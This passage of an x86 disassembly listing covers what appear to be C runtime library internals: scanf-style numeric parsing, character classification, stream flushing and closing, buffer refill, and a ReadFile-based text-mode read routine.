		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_414D2E
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_414B0C
; ---------------------------------------------------------------------------


loc_414AB9:				; CODE XREF: sub_414309+75Fj
		cmp	dword_424430, 1
		jle	short loc_414ACE
		push	4
		push	ebx
		call	sub_414E86
		pop	ecx
		pop	ecx
		jmp	short loc_414AD9
; ---------------------------------------------------------------------------


loc_414ACE:				; CODE XREF: sub_414309+7B7j
		mov	eax, off_424224
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_414AD9:				; CODE XREF: sub_414309+7C3j
		test	eax, eax
		jz	short loc_414B3A
		cmp	esi, 6Fh
		jnz	short loc_414AF7
		cmp	ebx, 38h
		jge	short loc_414B3A
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_4173D0
		jmp	short loc_414B06
; ---------------------------------------------------------------------------


loc_414AF7:				; CODE XREF: sub_414309+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_4106D0


loc_414B06:				; CODE XREF: sub_414309+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_414B0C:				; CODE XREF: sub_414309+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_414B24
		dec	[ebp+var_C]
		jz	short loc_414B48


loc_414B24:				; CODE XREF: sub_414309+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_414D65
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_414A65
; ---------------------------------------------------------------------------


loc_414B3A:				; CODE XREF: sub_414309+788j
					; sub_414309+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_414D7F
		pop	ecx
		pop	ecx


loc_414B48:				; CODE XREF: sub_414309+756j
					; sub_414309+819j
		cmp	[ebp+var_17], 0
		jz	loc_414C2E
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_414C2E
; ---------------------------------------------------------------------------


loc_414B6A:				; CODE XREF: sub_414309+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_414C26


loc_414B74:				; CODE XREF: sub_414309+90Aj
		cmp	esi, 78h
		jz	short loc_414BB8
		cmp	esi, 70h
		jz	short loc_414BB8
		cmp	dword_424430, 1
		jle	short loc_414B93
		push	4
		push	ebx
		call	sub_414E86
		pop	ecx
		pop	ecx
		jmp	short loc_414B9E
; ---------------------------------------------------------------------------


loc_414B93:				; CODE XREF: sub_414309+87Cj
		mov	eax, off_424224
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_414B9E:				; CODE XREF: sub_414309+888j
		test	eax, eax
		jz	short loc_414C18
		cmp	esi, 6Fh
		jnz	short loc_414BB1
		cmp	ebx, 38h
		jge	short loc_414C18
		shl	edi, 3
		jmp	short loc_414BF0
; ---------------------------------------------------------------------------


loc_414BB1:				; CODE XREF: sub_414309+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_414BF0
; ---------------------------------------------------------------------------


loc_414BB8:				; CODE XREF: sub_414309+86Ej
					; sub_414309+873j
		cmp	dword_424430, 1
		jle	short loc_414BD0
		push	80h
		push	ebx
		call	sub_414E86
		pop	ecx
		pop	ecx
		jmp	short loc_414BDD
; ---------------------------------------------------------------------------


loc_414BD0:				; CODE XREF: sub_414309+8B6j
		mov	eax, off_424224
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_414BDD:				; CODE XREF: sub_414309+8C5j
		test	eax, eax
		jz	short loc_414C18
		push	ebx
		shl	edi, 4
		call	sub_414D2E
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_414BF0:				; CODE XREF: sub_414309+8A6j
					; sub_414309+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_414C02
		dec	[ebp+var_C]
		jz	short loc_414C26


loc_414C02:				; CODE XREF: sub_414309+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_414D65
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_414B74
; ---------------------------------------------------------------------------


loc_414C18:				; CODE XREF: sub_414309+897j
					; sub_414309+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_414D7F
		pop	ecx
		pop	ecx


loc_414C26:				; CODE XREF: sub_414309+865j
					; sub_414309+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_414C2E
		neg	edi


loc_414C2E:				; CODE XREF: sub_414309+843j
					; sub_414309+85Cj ...
		cmp	esi, 46h
		jnz	short loc_414C37
		and	[ebp+var_1C], 0


loc_414C37:				; CODE XREF: sub_414309+928j
		cmp	[ebp+var_1C], 0
		jz	loc_414D0F
		cmp	[ebp+var_E], 0
		jnz	short loc_414C70
		inc	[ebp+var_34]


loc_414C4A:				; CODE XREF: sub_414309+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_414C60
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_414C70
; ---------------------------------------------------------------------------


loc_414C60:				; CODE XREF: sub_414309+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_414C6D
		mov	[eax], edi
		jmp	short loc_414C70
; ---------------------------------------------------------------------------


loc_414C6D:				; CODE XREF: sub_414309+95Ej
		mov	[eax], di


loc_414C70:				; CODE XREF: sub_414309+241j
					; sub_414309+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_414CBD
; ---------------------------------------------------------------------------


loc_414C7B:				; CODE XREF: sub_414309+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_414D65
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_414CEA
		mov	ecx, off_424224
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_414CBD
		inc	[ebp+var_4]
		push	edi
		call	sub_414D65
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_414CF8
		dec	[ebp+var_4]


loc_414CBD:				; CODE XREF: sub_414309+970j
					; sub_414309+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_414CD3
		cmp	byte ptr [esi],	25h
		jnz	short loc_414D15
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_414D15
		mov	esi, eax


loc_414CD3:				; CODE XREF: sub_414309+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_414333
		jmp	short loc_414D0F
; ---------------------------------------------------------------------------


loc_414CDF:				; CODE XREF: sub_414309+1F4j
					; sub_414309+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_414CEF
; ---------------------------------------------------------------------------


loc_414CEA:				; CODE XREF: sub_414309+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_414CEF:				; CODE XREF: sub_414309+9DFj
		call	sub_414D7F
		pop	ecx
		pop	ecx
		jmp	short loc_414D0F
; ---------------------------------------------------------------------------


loc_414CF8:				; CODE XREF: sub_414309+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_414D7F
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_414D7F
		add	esp, 10h


loc_414D0F:				; CODE XREF: sub_414309+1Fj
					; sub_414309+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_414D26


loc_414D15:				; CODE XREF: sub_414309+9BDj
					; sub_414309+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_414D29
		cmp	[ebp+var_15], al
		jnz	short loc_414D29
		or	eax, 0FFFFFFFFh
		jmp	short loc_414D29
; ---------------------------------------------------------------------------


loc_414D26:				; CODE XREF: sub_414309+A0Aj
		mov	eax, [ebp+var_34]


loc_414D29:				; CODE XREF: sub_414309+A11j
					; sub_414309+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414309	endp


; =============== S U B	R O U T	I N E =======================================



sub_414D2E	proc near		; CODE XREF: sub_414309+7A3p
					; sub_414309+8DCp

arg_0		= dword	ptr  4

		cmp	dword_424430, 1
		push	esi
		jle	short loc_414D48
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_414E86
		pop	ecx
		pop	ecx
		jmp	short loc_414D57
; ---------------------------------------------------------------------------


loc_414D48:				; CODE XREF: sub_414D2E+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_424224
		mov	al, [eax+esi*2]
		and	eax, 4


loc_414D57:				; CODE XREF: sub_414D2E+18j
		test	eax, eax
		jnz	short loc_414D61
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_414D61:				; CODE XREF: sub_414D2E+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_414D2E	endp


; =============== S U B	R O U T	I N E =======================================



sub_414D65	proc near		; CODE XREF: sub_414309+1E1p
					; sub_414309+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_414D77
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_414D77:				; CODE XREF: sub_414D65+7j
		push	edx
		call	sub_4150E6
		pop	ecx
		retn
sub_414D65	endp


; =============== S U B	R O U T	I N E =======================================



sub_414D7F	proc near		; CODE XREF: sub_414309+6Bp
					; sub_414309+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_414D95
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4173EF
		pop	ecx
		pop	ecx

locret_414D95:				; CODE XREF: sub_414D7F+5j
		retn
sub_414D7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_414D96	proc near		; CODE XREF: sub_414309+63p
					; sub_414309+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_414D9C:				; CODE XREF: sub_414D96+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_414D65
		mov	edi, eax
		push	edi
		call	sub_417399
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_414D9C
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_414D96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414DBA	proc near		; CODE XREF: sub_40F8BC+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4BA314, 0
		push	ebx
		jnz	short loc_414DE5
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_414E83
		cmp	eax, 7Ah
		jg	loc_414E83
		sub	eax, 20h
		jmp	loc_414E83
; ---------------------------------------------------------------------------


loc_414DE5:				; CODE XREF: sub_414DBA+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_414E18
		cmp	dword_424430, 1
		jle	short loc_414E05
		push	2
		push	ebx
		call	sub_414E86
		pop	ecx
		pop	ecx
		jmp	short loc_414E10
; ---------------------------------------------------------------------------


loc_414E05:				; CODE XREF: sub_414DBA+3Dj
		mov	eax, off_424224
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_414E10:				; CODE XREF: sub_414DBA+49j
		test	eax, eax
		jnz	short loc_414E18


loc_414E14:				; CODE XREF: sub_414DBA+AFj
		mov	eax, ebx
		jmp	short loc_414E83
; ---------------------------------------------------------------------------


loc_414E18:				; CODE XREF: sub_414DBA+34j
					; sub_414DBA+58j
		mov	edx, off_424224
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_414E3B
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_414E44
; ---------------------------------------------------------------------------


loc_414E3B:				; CODE XREF: sub_414DBA+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_414E44:				; CODE XREF: sub_414DBA+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4BA314
		call	sub_4158A4
		add	esp, 20h
		test	eax, eax
		jz	short loc_414E14
		cmp	eax, 1
		jnz	short loc_414E76
		movzx	eax, [ebp+var_4]
		jmp	short loc_414E83
; ---------------------------------------------------------------------------


loc_414E76:				; CODE XREF: sub_414DBA+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_414E83:				; CODE XREF: sub_414DBA+14j
					; sub_414DBA+1Dj ...
		pop	ebx
		leave
		retn
sub_414DBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E86	proc near		; CODE XREF: sub_40F8BC+27p
					; sub_40F8BC+E4p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_414EA4
		mov	ecx, off_424224
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_414EF6
; ---------------------------------------------------------------------------


loc_414EA4:				; CODE XREF: sub_414E86+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_424224
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_414EC9
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_414ED2
; ---------------------------------------------------------------------------


loc_414EC9:				; CODE XREF: sub_414E86+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_414ED2:				; CODE XREF: sub_414E86+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41745D
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_414EF2
		leave
		retn
; ---------------------------------------------------------------------------


loc_414EF2:				; CODE XREF: sub_414E86+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_414EF6:				; CODE XREF: sub_414E86+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_414E86	endp


; =============== S U B	R O U T	I N E =======================================



sub_414EFB	proc near		; CODE XREF: sub_40FC04+2Ap
					; sub_417827+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4BB8C0
		jnb	loc_414F95
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4BB7C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_414F95
		push	edi
		call	sub_417793
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_414F74
		cmp	edi, 1
		jz	short loc_414F42
		cmp	edi, 2
		jnz	short loc_414F58


loc_414F42:				; CODE XREF: sub_414EFB+40j
		push	2
		call	sub_417793
		push	1
		mov	ebp, eax
		call	sub_417793
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_414F74


loc_414F58:				; CODE XREF: sub_414EFB+45j
		push	edi
		call	sub_417793
		pop	ecx
		push	eax
		call	dword_41A068	; CloseHandle
		test	eax, eax
		jnz	short loc_414F74
		call	dword_41A07C	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_414F76
; ---------------------------------------------------------------------------


loc_414F74:				; CODE XREF: sub_414EFB+3Bj
					; sub_414EFB+5Bj ...
		xor	ebp, ebp


loc_414F76:				; CODE XREF: sub_414EFB+77j
		push	edi
		call	sub_417719
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_414F91
		push	ebp
		call	sub_4175A6
		pop	ecx
		jmp	short loc_414FA6
; ---------------------------------------------------------------------------


loc_414F91:				; CODE XREF: sub_414EFB+8Bj
		xor	eax, eax
		jmp	short loc_414FA9
; ---------------------------------------------------------------------------


loc_414F95:				; CODE XREF: sub_414EFB+Ej
					; sub_414EFB+2Fj
		and	dword_4BA288, 0
		mov	dword_4BA284, 9


loc_414FA6:				; CODE XREF: sub_414EFB+94j
		or	eax, 0FFFFFFFFh


loc_414FA9:				; CODE XREF: sub_414EFB+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_414EFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_414FAE	proc near		; CODE XREF: sub_40FC04+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_414FD7
		test	al, 8
		jz	short loc_414FD7
		push	dword ptr [esi+8]
		call	sub_40ECAF
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_414FD7:				; CODE XREF: sub_414FAE+Aj
					; sub_414FAE+Ej
		pop	esi
		retn
sub_414FAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_414FD9	proc near		; CODE XREF: sub_415079+2Dp
					; sub_415079+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_414FEB
		push	esi
		call	sub_415079
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_414FEB:				; CODE XREF: sub_414FD9+7j
		push	esi
		call	sub_415014
		test	eax, eax
		pop	ecx
		jz	short loc_414FFB
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_414FFB:				; CODE XREF: sub_414FD9+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_415010
		push	dword ptr [esi+10h]
		call	sub_4177D0
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_415010:				; CODE XREF: sub_414FD9+26j
		xor	eax, eax
		pop	esi
		retn
sub_414FD9	endp


; =============== S U B	R O U T	I N E =======================================



sub_415014	proc near		; CODE XREF: sub_40FC04+1Ap
					; sub_40FE9A+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_415061
		test	ax, 108h
		jz	short loc_415061
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_415061
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_415AF3
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41505A
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_415061
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_415061
; ---------------------------------------------------------------------------


loc_41505A:				; CODE XREF: sub_415014+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_415061:				; CODE XREF: sub_415014+14j
					; sub_415014+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_415014	endp


; =============== S U B	R O U T	I N E =======================================



sub_415070	proc near		; CODE XREF: sub_416A9Bp
		push	1
		call	sub_415079
		pop	ecx
		retn
sub_415070	endp


; =============== S U B	R O U T	I N E =======================================



sub_415079	proc near		; CODE XREF: sub_414FD9+Ap
					; sub_415070+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4BB580, esi
		jle	short loc_4150D7


loc_41508A:				; CODE XREF: sub_415079+5Cj
		mov	eax, dword_4BA570
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4150CE
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_4150CE
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_4150B4
		push	eax
		call	sub_414FD9
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4150CE
		inc	ebx
		jmp	short loc_4150CE
; ---------------------------------------------------------------------------


loc_4150B4:				; CODE XREF: sub_415079+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_4150CE
		test	cl, 2
		jz	short loc_4150CE
		push	eax
		call	sub_414FD9
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4150CE
		or	edi, eax


loc_4150CE:				; CODE XREF: sub_415079+1Bj
					; sub_415079+23j ...
		inc	esi
		cmp	esi, dword_4BB580
		jl	short loc_41508A


loc_4150D7:				; CODE XREF: sub_415079+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_4150E2
		mov	eax, edi


loc_4150E2:				; CODE XREF: sub_415079+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_415079	endp


; =============== S U B	R O U T	I N E =======================================



sub_4150E6	proc near		; CODE XREF: sub_40FC5A+A9p
					; sub_414D65+13p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_4151BA
		test	al, 40h
		jnz	loc_4151BA
		test	al, 2
		jz	short loc_41510C
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_4151BA
; ---------------------------------------------------------------------------


loc_41510C:				; CODE XREF: sub_4150E6+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_415120
		push	esi
		call	sub_41698C
		pop	ecx
		jmp	short loc_415125
; ---------------------------------------------------------------------------


loc_415120:				; CODE XREF: sub_4150E6+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_415125:				; CODE XREF: sub_4150E6+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_4151BF
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_4151A9
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4151A9
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41517E
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_415167
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4BB7C0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41516C
; ---------------------------------------------------------------------------


loc_415167:				; CODE XREF: sub_4150E6+6Bj
		mov	edi, offset dword_424440


loc_41516C:				; CODE XREF: sub_4150E6+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41517E
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41517E:				; CODE XREF: sub_4150E6+62j
					; sub_4150E6+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41519B
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41519B
		test	ch, 4
		jnz	short loc_41519B
		mov	dword ptr [esi+18h], 1000h


loc_41519B:				; CODE XREF: sub_4150E6+9Fj
					; sub_4150E6+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4151A9:				; CODE XREF: sub_4150E6+55j
					; sub_4150E6+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_4151BA:				; CODE XREF: sub_4150E6+Aj
					; sub_4150E6+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_4150E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151BF	proc near		; CODE XREF: sub_40FC5A+90p
					; sub_4150E6+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4BB8C0
		jnb	loc_41539C
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4BB7C0h[eax*4]
		mov	eax, dword_4BB7C0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41539C
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_415274
		test	dl, 2
		jnz	short loc_415274
		test	dl, 48h
		jz	short loc_415234
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_415234
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_415234:				; CODE XREF: sub_4151BF+56j
					; sub_4151BF+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	dword_41A164	; ReadFile
		test	eax, eax
		jnz	short loc_415287
		call	dword_41A07C	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41526F
		mov	dword_4BA284, 9
		mov	dword_4BA288, ecx
		jmp	loc_4153AD
; ---------------------------------------------------------------------------


loc_41526F:				; CODE XREF: sub_4151BF+99j
		cmp	eax, 6Dh
		jnz	short loc_41527B


loc_415274:				; CODE XREF: sub_4151BF+4Cj
					; sub_4151BF+51j
		xor	eax, eax
		jmp	loc_4153B0
; ---------------------------------------------------------------------------


loc_41527B:				; CODE XREF: sub_4151BF+B3j
		push	eax
		call	sub_4175A6
		pop	ecx
		jmp	loc_4153AD
; ---------------------------------------------------------------------------


loc_415287:				; CODE XREF: sub_4151BF+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_415397
		test	edx, edx
		jz	short loc_4152AC
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_4152AC
		or	al, 4
		jmp	short loc_4152AE
; ---------------------------------------------------------------------------


loc_4152AC:				; CODE XREF: sub_4151BF+E2j
					; sub_4151BF+E7j
		and	al, 0FBh


loc_4152AE:				; CODE XREF: sub_4151BF+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_415391


loc_4152C6:				; CODE XREF: sub_4151BF+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_415381
		cmp	al, 0Dh
		jz	short loc_4152E2
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_415373
; ---------------------------------------------------------------------------


loc_4152E2:				; CODE XREF: sub_4151BF+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_415300
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4152F7
		add	[ebp+arg_8], 2
		jmp	short loc_415355
; ---------------------------------------------------------------------------


loc_4152F7:				; CODE XREF: sub_4151BF+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_415373
; ---------------------------------------------------------------------------


loc_415300:				; CODE XREF: sub_4151BF+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_41A164	; ReadFile
		test	eax, eax
		jnz	short loc_415328
		call	dword_41A07C	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41536F


loc_415328:				; CODE XREF: sub_4151BF+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41536F
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41534A
